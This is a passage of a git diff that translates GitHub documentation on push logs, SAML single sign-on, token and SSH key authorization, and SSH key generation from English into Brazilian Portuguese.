-1. In the upper-right corner of the repository's page, click {% octicon "rocket" aria-label="The rocket ship" %}.
-    ![Rocketship icon for accessing site admin settings](/assets/images/enterprise/site-admin-settings/access-new-settings.png)
+## Exibir os logs de push do repositório
+
+1. Efetue o login em {% data variables.product.prodname_ghe_server %} como administrador do site.
+1. Navegue até um repositório.
+1. No canto superior direito da página do repositório, clique em {% octicon "rocket" aria-label="The rocket ship" %}. ![Ícone de foguete para acessar as configurações de administrador do site](/assets/images/enterprise/site-admin-settings/access-new-settings.png)
 {% data reusables.enterprise_site_admin_settings.security-tab %}
-4. In the left sidebar, click **Push Log**.
-![Push log tab](/assets/images/enterprise/site-admin-settings/push-log-tab.png)
+4. Na barra lateral esquerda, clique em **Push Log** (Log de push). ![Guia de log de push](/assets/images/enterprise/site-admin-settings/push-log-tab.png)
 
 {% ifversion ghes %}
-## Viewing a repository's push logs on the command-line
+## Exibir os logs de push do repositório na linha de comando
 
 {% data reusables.enterprise_installation.ssh-into-instance %}
-1. In the appropriate Git repository, open the audit log file:
+1. No repositório do Git adequado, abra o arquivo de log de auditoria:
   ```shell
   ghe-repo <em>owner</em>/<em>repository</em> -c "less audit_log"
   ```
diff --git a/translations/pt-BR/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md b/translations/pt-BR/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md
index 94f9079075..5d100d794b 100644
--- a/translations/pt-BR/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md
+++ b/translations/pt-BR/content/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on.md
@@ -1,6 +1,6 @@
 ---
-title: About authentication with SAML single sign-on
-intro: 'You can access {% ifversion ghae %}{% data variables.product.product_location %}{% elsif ghec %}an organization that uses SAML single sign-on (SSO){% endif %} by authenticating {% ifversion ghae %}with SAML single sign-on (SSO) {% endif %}through an identity provider (IdP).{% ifversion ghec %} After you authenticate with the IdP successfully from {% data variables.product.product_name %}, you must authorize any personal access token, SSH key, or {% data variables.product.prodname_oauth_app %} you would like to access the organization''s resources.{% endif %}'
+title: Sobre a autenticação com SAML SSO
+intro: 'Você pode acessar {% ifversion ghae %}{% data variables.product.product_location %}{% elsif ghec %}uma organização que usa o logon único SAML (SSO){% endif %} efetuando a autenticação {% ifversion ghae %}com o logon único SAML (SSO) {% endif %}por meio de um provedor de identidade (IdP).{% ifversion ghec %} Depois de efetuar a autenticação com o IdP em {% data variables.product.product_name %}, você deverá autorizar qualquer token de acesso pessoal, Chave SSH, ou {% data variables.product.prodname_oauth_app %} que você gostaria de acessar os recursos da organização.{% endif %}'
 redirect_from:
   - /articles/about-authentication-with-saml-single-sign-on
   - /github/authenticating-to-github/about-authentication-with-saml-single-sign-on
@@ -10,50 +10,51 @@ versions:
   ghec: '*'
 topics:
   - SSO
-shortTitle: SAML single sign-on
+shortTitle: logon único SAML
 ---
-## About authentication with SAML SSO
+
+## Sobre autenticação com SSO do SAML
 
 {% ifversion ghae %}
 
-SAML SSO allows an enterprise owner to centrally control and secure access to {% data variables.product.product_name %} from a SAML IdP. When you visit {% data variables.product.product_location %} in a browser, {% data variables.product.product_name %} will redirect you to your IdP to authenticate. After you successfully authenticate with an account on the IdP, the IdP redirects you back to {% data variables.product.product_location %}. {% data variables.product.product_name %} validates the response from your IdP, then grants access.
+O SAML SSO permite que um proprietário corporativo realize o controle central e proteja o acesso para {% data variables.product.product_name %} a partir de um IdP do SAML. Ao acessar {% data variables.product.product_location %} em um navegador, {% data variables.product.product_name %} irá redirecioná-lo para seu IdP para efetuar a autenticação. Depois de concluir a autenticação com sucesso com uma conta no IdP, este irá redirecionar você de volta para {% data variables.product.product_location %}. {% data variables.product.product_name %} valida a resposta do seu IpD e, em seguida, concede acesso.
 
 {% data reusables.saml.you-must-periodically-authenticate %}
 
-If you can't access {% data variables.product.product_name %}, contact your local enterprise owner or administrator for {% data variables.product.product_name %}. You may be able to locate contact information for your enterprise by clicking **Support** at the bottom of any page on {% data variables.product.product_name %}. {% data variables.product.company_short %} and {% data variables.contact.github_support %} do not have access to your IdP, and cannot troubleshoot authentication problems. 
+Se você não puder acessar {% data variables.product.product_name %}, entre em contato com o proprietário da empresa local ou administrador para {% data variables.product.product_name %}. Você pode conseguir localizar informações de contato para sua empresa clicando em **Suporte** na parte inferior de qualquer página em {% data variables.product.product_name %}. {% data variables.product.company_short %} e {% data variables.contact.github_support %} não têm acesso ao seu IdP e não podem solucionar problemas de autenticação.
 
 {% endif %}
 
 {% ifversion fpt or ghec %}
 
-{% data reusables.saml.dotcom-saml-explanation %} Organization owners can invite your user account on {% data variables.product.prodname_dotcom %} to join their organization that uses SAML SSO, which allows you to contribute to the organization and retain your existing identity and contributions on {% data variables.product.prodname_dotcom %}.
+{% data reusables.saml.dotcom-saml-explanation %} Os proprietários da organização podem convidar sua conta de usuário em {% data variables.product.prodname_dotcom %} para participar da organização que usa o SSO SAML, o que permite que você contribua com a organização e mantenha sua identidade e contribuições existentes em {% data variables.product.prodname_dotcom %}.
 
-If you're a member of an {% data variables.product.prodname_emu_enterprise %}, you will use a new account that is provisioned for you. {% data reusables.enterprise-accounts.emu-more-info-account %}
+Se você for integrante de um {% data variables.product.prodname_emu_enterprise %}, você usará uma nova conta que lhe será fornecida. {% data reusables.enterprise-accounts.emu-more-info-account %}
 
 
-When you access resources within an organization that uses SAML SSO, {% data variables.product.prodname_dotcom %} will redirect you to the organization's SAML IdP to authenticate. After you successfully authenticate with your account on the IdP, the IdP redirects you back to {% data variables.product.prodname_dotcom %}, where you can access the organization's resources.
+Ao acessar os recursos dentro de uma organização que usa o SSO SAML, o {% data variables.product.prodname_dotcom %} irá redirecionar você para o SAML IdP da organização para que você efetue a autenticação. Depois de efetuar a autenticação com sucesso com sua conta no IdP, este irá redirecionar você de volta para {% data variables.product.prodname_dotcom %}, onde você poderá acessar os recursos da organização.
 
 {% data reusables.saml.outside-collaborators-exemption %}
 
-If you have recently authenticated with your organization's SAML IdP in your browser, you are automatically authorized when you access a {% data variables.product.prodname_dotcom %} organization that uses SAML SSO. If you haven't recently authenticated with your organization's SAML IdP in your browser, you must authenticate at the SAML IdP before you can access the organization.
+Se você efetuou a autenticação recentemente com o IdP SAML da sua organização no navegador, você estará automaticamente autorizado ao acessar uma organização do {% data variables.product.prodname_dotcom %} que usa SAML SSO. Se não tiver efetuado a autenticação recentemente com o IdP SAML da sua organização no navegador, você deverá efetuar a autenticação no SAML IdP antes de acessar a organização.
 
 {% data reusables.saml.you-must-periodically-authenticate %}
 
-To use the API or Git on the command line to access protected content in an organization that uses SAML SSO, you will need to use an authorized personal access token over HTTPS or an authorized SSH key.
+Para usar a API ou o Git na linha de comando de modo a acessar conteúdo protegido em uma organização que usa SAML SSO, você precisará usar um token de acesso pessoal autorizado por HTTPS ou uma chave SSH autorizada.
 
-If you don't have a personal access token or an SSH key, you can create a personal access token for the command line or generate a new SSH key. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)" or "[Generating a new SSH key and adding it to the ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)."
+Na falta de um token de acesso pessoal ou uma chave SSH, você poderá criar um token de acesso pessoal para a linha de comando ou gerar uma nova chave SSH. Para obter mais informações consulte "[Criar um token de acesso pessoal](/github/authenticating-to-github/creating-a-personal-access-token)ou "[Gerar uma nova chave SSH e adicioná-la ao ssh-agent-](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)".
 
-To use a new or existing personal access token or SSH key with an organization that uses or enforces SAML SSO, you will need to authorize the token or authorize the SSH key for use with a SAML SSO organization. For more information, see "[Authorizing a personal access token for use with SAML single sign-on](/articles/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)" or "[Authorizing an SSH key for use with SAML single sign-on](/articles/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)."
+Para usar um token novo ou existente de acesso pessoal ou chave SSH com uma organização que usa ou impõe o SSO do SAML, você precisará autorizar o token ou autorizar a chave SSH para uso com uma organização de SSO do SAML. Para obter mais informações consulte "[Autorizar um token de acesso pessoal para usar com logon único SAML](/articles/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)" ou "[Autorizando uma chave SSH para uso com o logon único SAML](/articles/authorizing-an-ssh-key-for-use-with-saml-single-sign-on).
 
-## About {% data variables.product.prodname_oauth_apps %} and SAML SSO
+## Sobre {% data variables.product.prodname_oauth_apps %} e SSO do SAML
 
-You must have an active SAML session each time you authorize an {% data variables.product.prodname_oauth_app %} to access an organization that uses or enforces SAML SSO.
+Você deve ter uma sessão do SAML ativa toda vez que autorizar um {% data variables.product.prodname_oauth_app %} para acessar uma organização que usa ou aplica o SSO do SAML.
 
-After an enterprise or organization owner enables or enforces SAML SSO for an organization, you must reauthorize any {% data variables.product.prodname_oauth_app %} that you previously authorized to access the organization. To see the {% data variables.product.prodname_oauth_apps %} you've authorized or reauthorize an {% data variables.product.prodname_oauth_app %}, visit your [{% data variables.product.prodname_oauth_apps %} page](https://github.com/settings/applications).
+Após o proprietário de uma empresa ou organização habilitar ou aplicar o SSO do SAML para uma organização, você deverá autorizar novamente qualquer {% data variables.product.prodname_oauth_app %} que você autorizou anteriormente a acessar a organização. Para visualizar {% data variables.product.prodname_oauth_apps %} que você autorizou ou ou autorizar novamente um {% data variables.product.prodname_oauth_app %}, acesse a sua página de [{% data variables.product.prodname_oauth_apps %}](https://github.com/settings/applications).
 
 {% endif %}
 
-## Further reading
+## Leia mais
 
-{% ifversion ghec %}- "[About identity and access management with SAML single sign-on](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)"{% endif %}
-{% ifversion ghae %}- "[About identity and access management for your enterprise](/admin/authentication/about-identity-and-access-management-for-your-enterprise)"{% endif %}
+{% ifversion ghec %}- "[Sobre identidade e gerenciamento de acesso com logon único SAML](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)"{% endif %}
+{% ifversion ghae %}- "[Sobre identidade e gerenciamento de acesso para a sua empresa](/admin/authentication/about-identity-and-access-management-for-your-enterprise)"{% endif %}
diff --git a/translations/pt-BR/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md b/translations/pt-BR/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md
index cd89fcbb59..b778f2c49e 100644
--- a/translations/pt-BR/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md
+++ b/translations/pt-BR/content/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on.md
@@ -1,6 +1,6 @@
 ---
-title: Authorizing a personal access token for use with SAML single sign-on
-intro: 'To use a personal access token with an organization that uses SAML single sign-on (SSO), you must first authorize the token.'
+title: Autorizar o uso de um token de acesso pessoal para uso com logon único SAML
+intro: 'Para usar um token de acesso pessoal com uma organização que utiliza logon único SAML (SSO), primeiramente, você deve autorizar o token.'
 redirect_from:
   - /articles/authorizing-a-personal-access-token-for-use-with-a-saml-single-sign-on-organization
   - /articles/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on
@@ -10,22 +10,21 @@ versions:
   ghec: '*'
 topics:
   - SSO
-shortTitle: PAT with SAML
+shortTitle: PAT com SAML
 ---
-You can authorize an existing personal access token, or [create a new personal access token](/github/authenticating-to-github/creating-a-personal-access-token) and then authorize it.
+
+Você pode autorizar um token de acesso pessoal existente ou [criar um](/github/authenticating-to-github/creating-a-personal-access-token) e autorizá-lo.
 
 {% data reusables.saml.authorized-creds-info %}
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.developer_settings %}
 {% data reusables.user_settings.personal_access_tokens %}
-3. Next to the token you'd like to authorize, click **Enable SSO** or **Disable SSO**.
-   ![SSO token authorize button](/assets/images/help/settings/sso-allowlist-button.png)
-4. Find the organization you'd like to authorize the access token for.
-4. Click **Authorize**.
-   ![Token authorize button](/assets/images/help/settings/token-authorize-button.png)
+3. Ao lado do token que deseja autorizar, clique em **Enable SSO** (Habilitar SSO) ou **Disable SSO** (Desabilitar SSO). ![Botão de autorização do token SSO](/assets/images/help/settings/sso-allowlist-button.png)
+4. Encontre a organização para a qual deseja autorizar o token de acesso.
+4. Clique em **Autorizar**. ![Botão de autorização do token](/assets/images/help/settings/token-authorize-button.png)
 
-## Further reading
+## Leia mais
 
-- "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)"
-- "[About authentication with SAML single sign-on](/articles/about-authentication-with-saml-single-sign-on)"
+- "[Criando um token de acesso pessoal](/github/authenticating-to-github/creating-a-personal-access-token)"
+- "[Sobre a autenticação com logon único SAML](/articles/about-authentication-with-saml-single-sign-on)"
diff --git a/translations/pt-BR/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md b/translations/pt-BR/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md
index 2bd5cef6ba..871c319ef3 100644
--- a/translations/pt-BR/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md
+++ b/translations/pt-BR/content/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on.md
@@ -1,6 +1,6 @@
 ---
-title: Authorizing an SSH key for use with SAML single sign-on
-intro: 'To use an SSH key with an organization that uses SAML single sign-on (SSO), you must first authorize the key.'
+title: Autorizar o uso de uma chave SSH para uso com logon único SAML
+intro: 'Para usar uma chave SSH com uma organização que usa logon único SAML (SSO), primeiramente, você deve autorizar a chave.'
 redirect_from:
   - /articles/authorizing-an-ssh-key-for-use-with-a-saml-single-sign-on-organization
   - /articles/authorizing-an-ssh-key-for-use-with-saml-single-sign-on
@@ -10,27 +10,26 @@ versions:
   ghec: '*'
 topics:
   - SSO
-shortTitle: SSH Key with SAML
+shortTitle: Chave SSH com SAML
 ---
-You can authorize an existing SSH key, or create a new SSH key and then authorize it. For more information about creating a new SSH key, see "[Generating a new SSH key and adding it to the ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)."
+
+Você pode autorizar uma chave SSH existente ou criar uma e autorizá-la. For more information about creating a new SSH key, see "[Generating a new SSH key and adding it to the ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)."
 
 {% data reusables.saml.authorized-creds-info %}
 
 {% note %}
 
-**Note:** If your SSH key authorization is revoked by an organization, you will not be able to reauthorize the same key. You will need to create a new SSH key and authorize it. For more information about creating a new SSH key, see "[Generating a new SSH key and adding it to the ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)."
+**Observação:** se a autorização da sua chave SSH foi revogada por uma organização, você não poderá reautorizar a mesma chave. Será preciso criar outra chave SSH e autorizá-la. For more information about creating a new SSH key, see "[Generating a new SSH key and adding it to the ssh-agent](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)."
 
 {% endnote %}
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.ssh %}
-3. Next to the SSH key you'd like to authorize, click **Enable SSO** or **Disable SSO**.
-![SSO token authorize button](/assets/images/help/settings/ssh-sso-button.png)
-4. Find the organization you'd like to authorize the SSH key for.
-5. Click **Authorize**.
-![Token authorize button](/assets/images/help/settings/ssh-sso-authorize.png)
+3. Ao lado da chave SSH que deseja autorizar, clique em **Enable SSO** (Habilitar SSO) ou **Disable SSO** (Desabilitar SSO). ![Botão de autorização do token SSO](/assets/images/help/settings/ssh-sso-button.png)
+4. Encontre a organização para a qual deseja autorizar a chave SSH.
+5. Clique em **Autorizar**. ![Botão de autorização do token](/assets/images/help/settings/ssh-sso-authorize.png)
 
-## Further reading
+## Leia mais
 
-- "[Checking for existing SSH keys](/articles/checking-for-existing-ssh-keys)"
-- "[About authentication with SAML single sign-on](/articles/about-authentication-with-saml-single-sign-on)"
+- "[Verificar se há chaves SSH existentes](/articles/checking-for-existing-ssh-keys)"
+- "[Sobre a autenticação com logon único SAML](/articles/about-authentication-with-saml-single-sign-on)"
diff --git a/translations/pt-BR/content/authentication/authenticating-with-saml-single-sign-on/index.md b/translations/pt-BR/content/authentication/authenticating-with-saml-single-sign-on/index.md
index c609a547c9..b536ae9c9f 100644
--- a/translations/pt-BR/content/authentication/authenticating-with-saml-single-sign-on/index.md
+++ b/translations/pt-BR/content/authentication/authenticating-with-saml-single-sign-on/index.md
@@ -1,6 +1,6 @@
 ---
-title: Authenticating with SAML single sign-on
-intro: 'You can authenticate to {% data variables.product.product_name %} with SAML single sign-on (SSO){% ifversion ghec %} and view your active sessions{% endif %}.'
+title: Sobre a autenticação com logon único SAML
+intro: 'Você pode efetuar a autenticação em {% data variables.product.product_name %} com logon único SAML (SSO){% ifversion ghec %} e ver suas sessões ativas{% endif %}.'
 redirect_from:
   - /articles/authenticating-to-a-github-organization-with-saml-single-sign-on
   - /articles/authenticating-with-saml-single-sign-on
@@ -15,6 +15,6 @@ children:
   - /authorizing-an-ssh-key-for-use-with-saml-single-sign-on
   - /authorizing-a-personal-access-token-for-use-with-saml-single-sign-on
   - /viewing-and-managing-your-active-saml-sessions
-shortTitle: Authenticate with SAML
+shortTitle: Efetuar a autenticação com SAML
 ---
 
diff --git a/translations/pt-BR/content/authentication/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions.md b/translations/pt-BR/content/authentication/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions.md
index 466649aa42..83390a1c8e 100644
--- a/translations/pt-BR/content/authentication/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions.md
+++ b/translations/pt-BR/content/authentication/authenticating-with-saml-single-sign-on/viewing-and-managing-your-active-saml-sessions.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing and managing your active SAML sessions
-intro: You can view and revoke your active SAML sessions in your security settings.
+title: Exibir e gerenciar sessões SAML ativas
+intro: É possível exibir e revogar sessões SAML ativas nas configurações de segurança.
 redirect_from:
   - /articles/viewing-and-managing-your-active-saml-sessions
   - /github/authenticating-to-github/viewing-and-managing-your-active-saml-sessions
@@ -9,23 +9,21 @@ versions:
   ghec: '*'
 topics:
   - SSO
-shortTitle: Active SAML sessions
+shortTitle: Sessões de SAML ativas
 ---
+
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security %}
-3. Under "Sessions," you can see your active SAML sessions.
-   ![List of active SAML sessions](/assets/images/help/settings/saml-active-sessions.png)
-4. To see the session details, click **See more**.
-   ![Button to open SAML session details](/assets/images/help/settings/saml-expand-session-details.png)
-5. To revoke a session, click **Revoke SAML**.
-   ![Button to revoke a SAML session](/assets/images/help/settings/saml-revoke-session.png)
+3. Em "Sessões", você pode ver suas sessões ativas do SAML. ![Lista de sessões SAML ativas](/assets/images/help/settings/saml-active-sessions.png)
+4. Para ver as informações da sessão, clique em **Ver mais**. ![Botão para abrir as informações da sessão do SAML](/assets/images/help/settings/saml-expand-session-details.png)
+5. Para revogar uma sessão, clique em **Revogar SAML**. ![Botão para revogar uma sessão SAML](/assets/images/help/settings/saml-revoke-session.png)
 
   {% note %}
 
-  **Note:** When you revoke a session, you remove your SAML authentication to that organization. To access the organization again, you will need to single sign-on through your identity provider. For more information, see "[About authentication with SAML SSO](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)."
+  **Observação:** quando você revoga uma sessão, remove a autenticação SAML para essa organização. Para acessar a organização novamente, você precisa fazer logon único por meio do provedor de identidade. Para obter mais informações, consulte "[Sobre a autenticação com SAML SSO](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)".
 
   {% endnote %}
 
-## Further reading
+## Leia mais
 
-- "[About authentication with SAML SSO](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)"
+- "[Sobre a autenticação com SAML SSO](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)"
diff --git a/translations/pt-BR/content/authentication/connecting-to-github-with-ssh/about-ssh.md b/translations/pt-BR/content/authentication/connecting-to-github-with-ssh/about-ssh.md
index a649ffb628..65540e3e7f 100644
--- a/translations/pt-BR/content/authentication/connecting-to-github-with-ssh/about-ssh.md
+++ b/translations/pt-BR/content/authentication/connecting-to-github-with-ssh/about-ssh.md
@@ -1,6 +1,6 @@
 ---
-title: About SSH
-intro: 'Using the SSH protocol, you can connect and authenticate to remote servers and services. With SSH keys, you can connect to {% data variables.product.product_name %} without supplying your username and personal access token at each visit.'
+title: Sobre o SSH
+intro: 'Usando o protocolo SSH, você pode se conectar a servidores e serviços remotos e se autenticar neles. Com chaves SSH, você pode conectar-se a {% data variables.product.product_name %} sem inserir seu nome de usuário e token de acesso pessoal em cada visita.'
 redirect_from:
   - /articles/about-ssh
   - /github/authenticating-to-github/about-ssh
@@ -13,22 +13,23 @@ versions:
 topics:
   - SSH
 ---
-When you set up SSH, you will need to generate a new SSH key and add it to the ssh-agent. You must add the SSH key to your account on {% data variables.product.product_name %} before you use the key to authenticate. For more information, see "[Generating a new SSH key and adding it to the ssh-agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)" and "[Adding a new SSH key to your {% data variables.product.prodname_dotcom %} account](/github/authenticating-to-github/adding-a-new-ssh-key-to-your-github-account)."
 
-You can further secure your SSH key by using a hardware security key, which requires the physical hardware security key to be attached to your computer when the key pair is used to authenticate with SSH. You can also secure your SSH key by adding your key to the ssh-agent and using a passphrase. For more information, see "[Working with SSH key passphrases](/github/authenticating-to-github/working-with-ssh-key-passphrases)."
+Ao configurar o SSH, você precisará gerar uma nova chave SSH e adicioná-la ao agente ssh. Você deve adicionar a chave SSH à sua conta {% data variables.product.product_name %} antes de usar a chave para efetuar a autenticação. Para mais informações consulte "[Gerar uma nova chave SSH e adicioná-la ao ssh-agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)" e "[Adicionar uma nova chave SSH à sua conta de {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/adding-a-new-ssh-key-to-your-github-account)".
 
-{% ifversion fpt or ghec %}To use your SSH key with a repository owned by an organization that uses SAML single sign-on, you must authorize the key. For more information, see "[Authorizing an SSH key for use with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %}
+Você pode proteger ainda mais sua chave SSH usando uma chave de segurança de hardware, o que exige que a chave de segurança física do hardware seja conectada ao seu computador quando o par de chaves é usado para efetuar a autenticação com SSH. Você também pode proteger sua chave SSH, adicionando sua chave ao agente do ssh-agent e usando uma frase secreta. Para obter mais informações, consulte "[Trabalhar com frases secretas da chave SSH](/github/authenticating-to-github/working-with-ssh-key-passphrases)".
 
-To maintain account security, you can regularly review your SSH keys list and revoke any keys that are invalid or have been compromised. For more information, see "[Reviewing your SSH keys](/github/authenticating-to-github/reviewing-your-ssh-keys)."
+{% ifversion fpt or ghec %}Para usar a chave SSH com um repositório pertencente a uma organização que usa o logon único SAML, você deverá autorizar a chave. Para mais informações consulte "[Autorizando uma chave SSH para usar com o o logon único SAML](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on){% ifversion fpt %}" na documentação de {% data variables.product.prodname_ghe_cloud %} .{% else %}."{% endif %}{% endif %}
+
+Para manter a segurança da conta, você pode revisar regularmente sua lista de chaves SSH e revogar quaisquer chaves que sejam inválidas ou que tenham sido comprometidas. Para obter mais informações, consulte "[Revisar as chaves SSH](/github/authenticating-to-github/reviewing-your-ssh-keys)".
 
 {% ifversion fpt or ghec %}
-If you haven't used your SSH key for a year, then {% data variables.product.prodname_dotcom %} will automatically delete your inactive SSH key as a security precaution. For more information, see "[Deleted or missing SSH keys](/articles/deleted-or-missing-ssh-keys)."
+Se você ficou sem usar a chave SSH por um ano, o {% data variables.product.prodname_dotcom %} excluirá automaticamente essa chave SSH inativa como uma medida de segurança. Para obter mais informações, consulte "[Chaves SSH excluídas ou ausentes](/articles/deleted-or-missing-ssh-keys)".
 {% endif %}
 
-If you're a member of an organization that provides SSH certificates, you can use your certificate to access that organization's repositories without adding the certificate to your account on {% data variables.product.product_name %}. You cannot use your certificate to access forks of the organization's repositories that are owned by your user account. For more information, see "[About SSH certificate authorities](/articles/about-ssh-certificate-authorities)."
+Se você for integrante de uma organização que fornece certificados SSH, você poderá usar seu certificado para acessar os repositórios da organização sem adicionar o certificado à sua conta em {% data variables.product.product_name %}. Você não pode usar seu certificado para acessar bifurcações dos repositórios da organização pertencentes à sua conta de usuário. Para obter mais informações, consulte "[Sobre autoridades certificadas SSH](/articles/about-ssh-certificate-authorities)".
 
-## Further reading
+## Leia mais
 
-- "[Checking for existing SSH keys](/articles/checking-for-existing-ssh-keys)"
-- "[Testing your SSH connection](/articles/testing-your-ssh-connection)"
-- "[Troubleshooting SSH](/articles/troubleshooting-ssh)"
+- "[Verificar se há chaves SSH existentes](/articles/checking-for-existing-ssh-keys)"
+- "[Testar a conexão SSH](/articles/testing-your-ssh-connection)"
+- "[Solucionar problemas de SSH](/articles/troubleshooting-ssh)"
diff --git a/translations/pt-BR/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md b/translations/pt-BR/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md
index 51e338a4bd..95afa2f747 100644
--- a/translations/pt-BR/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md
+++ b/translations/pt-BR/content/authentication/connecting-to-github-with-ssh/adding-a-new-ssh-key-to-your-github-account.md
@@ -25,7 +25,6 @@ Depois de adicionar uma nova chave SSH à sua conta em {% ifversion ghae %}{% da
 
 {% mac %}
 
-{% include tool-switcher %}
 {% webui %}
 
 1. Copie a chave pública SSH para a sua área de transferência.
@@ -57,8 +56,6 @@ Depois de adicionar uma nova chave SSH à sua conta em {% ifversion ghae %}{% da
 
 {% windows %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 1. Copie a chave pública SSH para a sua área de transferência.
@@ -90,7 +87,6 @@ Depois de adicionar uma nova chave SSH à sua conta em {% ifversion ghae %}{% da
 
 {% linux %}
 
-{% include tool-switcher %}
 {% webui %}
 
 1. Copie a chave pública SSH para a sua área de transferência.
diff --git a/translations/pt-BR/content/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent.md b/translations/pt-BR/content/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent.md
index 98e191c19b..aeeb93f486 100644
--- a/translations/pt-BR/content/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent.md
+++ b/translations/pt-BR/content/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent.md
@@ -1,6 +1,6 @@
 ---
-title: Generating a new SSH key and adding it to the ssh-agent
-intro: 'After you''ve checked for existing SSH keys, you can generate a new SSH key to use for authentication, then add it to the ssh-agent.'
+title: Gerar uma nova chave SSH e adicioná-la ao ssh-agent
+intro: 'Depois de verificar a existência de chaves SSH, é possível gerar uma nova chave SSH para autenticação e adicioná-la ao ssh-agent.'
 redirect_from:
   - /articles/adding-a-new-ssh-key-to-the-ssh-agent
   - /articles/generating-a-new-ssh-key
@@ -14,23 +14,24 @@ versions:
   ghec: '*'
 topics:
   - SSH
-shortTitle: Generate new SSH key
+shortTitle: Gerar nova chave SSH
 ---
-## About SSH key generation
 
-If you don't already have an SSH key, you must generate a new SSH key to use for authentication. If you're unsure whether you already have an SSH key, you can check for existing keys. For more information, see "[Checking for existing SSH keys](/github/authenticating-to-github/checking-for-existing-ssh-keys)."
+## Sobre a geração de chaves SSH
+
+Se você ainda não tem uma chave SSH, você deve gerar uma nova chave SSH para usar para a autenticação. Se você não tem certeza se já tem uma chave SSH, você pode verificar se há chaves existentes. Para obter mais informações, consulte "[Verificar as chaves SSH existentes](/github/authenticating-to-github/checking-for-existing-ssh-keys)".
 
 {% ifversion fpt or ghae or ghes > 3.1 or ghec %}
 
-If you want to use a hardware security key to authenticate to {% data variables.product.product_name %}, you must generate a new SSH key for your hardware security key. You must connect your hardware security key to your computer when you authenticate with the key pair. For more information, see the [OpenSSH 8.2 release notes](https://www.openssh.com/txt/release-8.2).
+Se você deseja usar uma chave de segurança de hardware para efetuar a autenticação em {% data variables.product.product_name %}, você deverá gerar uma nova chave SSH para a sua chave de segurança de hardware. Você deve conectar a sua chave de segurança de hardware ao seu computador ao efetuar a a sua autenticação com o par de chaves. Para obter mais informações, consulte as [notas de versão do OpenSSH 8.2](https://www.openssh.com/txt/release-8.2).
 
 {% endif %}
-If you don't want to reenter your passphrase every time you use your SSH key, you can add your key to the SSH agent, which manages your SSH keys and remembers your passphrase.
+Se não quiser reinserir a sua frase secreta toda vez que usar a sua chave SSH, você poderá adicionar sua chave ao agente SSH, que gerencia suas chaves SSH e lembra a sua frase secreta.
 
-## Generating a new SSH key
+## Gerar uma nova chave SSH
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Paste the text below, substituting in your {% data variables.product.product_name %} email address.
+2. Cole o texto abaixo, substituindo o endereço de e-mail pelo seu {% data variables.product.product_name %}.
     {% ifversion ghae %}
     <!-- GitHub AE is FIPS 140-2 compliant. FIPS does not yet permit keys that use the ed25519 algorithm. -->
   ```shell
